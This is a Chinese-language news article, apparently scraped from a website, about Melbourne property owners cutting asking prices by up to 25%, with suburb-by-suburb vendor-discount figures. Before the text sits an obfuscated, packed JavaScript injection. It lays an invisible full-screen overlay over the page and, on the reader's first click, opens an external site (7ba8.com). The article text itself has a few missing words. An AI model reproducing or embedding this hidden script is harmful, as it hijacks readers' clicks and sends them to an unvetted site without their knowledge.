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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>如今的市场由于太过惨淡，已逼得众多业主下调最初要价，最高的下调幅度达到25%。 墨尔本的市场近来下跌至十年来的冰点，许多业主纷纷作出调价回应，有的业主甚至一次性将要价下调了几十万，以期能有买家光顾。 来自著名房地产研究机构RP Data的数据显示，在过去的六个月，墨尔本的折扣率直线上升，涨势迅猛。（注：Vendor Discounting，一所的最初要价与最终成交价之间的差额比） 今年五月，墨尔本东南侧丹德农（Dandenong）地区曾创下房屋折扣率最高记录，那儿的房屋卖家为了锁定买卖，打出了10.1%的高额折扣率，而到如今，房屋折扣率已在佛蒙特地区（Vermont）创下了19%的新高度，而布罗德米多斯（Broadmeadows）地区更是创下了25%的新纪录。此前，墨尔本地区的最高房屋折扣率也不过在6%左右徘徊。 当然，需要注意的一点是，房屋折扣率的上扬并不一定意味着的下跌，举个例子来说，对于佛蒙特、马克劳（Macleod）、萨默斯（Somers）这些排名前十的地区来说，即便在过去一年，这些地区的房屋折扣率上升了，但依旧狂飙。 房屋折扣率只能体现业主对最初设想的让步，可能他最早想要赚50万，但实在无人问津，那只能退而求其次，赚它个40万，不过，在这个过程中间，的人的主动权更大了，就更容易达成自己心目中理想的买卖。 Barry Plant Glenroy主管内斯特（Angelo Nestor）表示，过去一年，在布罗德米多斯，房屋的最终成交价格早已不是什么秘密，“买家更加极力地去讨价还价，而业主们则只能面对现实，学会适应这个惨淡的房地产市场。” 据最新统计，在墨尔本周遭地区中，帕克果园（Park Orchards）的房屋折扣率为17.7%，芬格尔（Fingal）为16.7%，马克劳为13.7%，拉克（Toorak）为7.7%，马尔格雷夫（Mulgrave）为13.7%，北埃森登（Essendon North）为13.2%，霍桑（Hawthorn）为13%，萨默斯为12.9%，海湖镇（Sea Lake）为20%，乌廷（Ouyen）为17.6%，查尔顿（Charlton）为17.2%，美特佛（Myrtleford）为15.1%。 本文由www.feiydzgw.com发布 |
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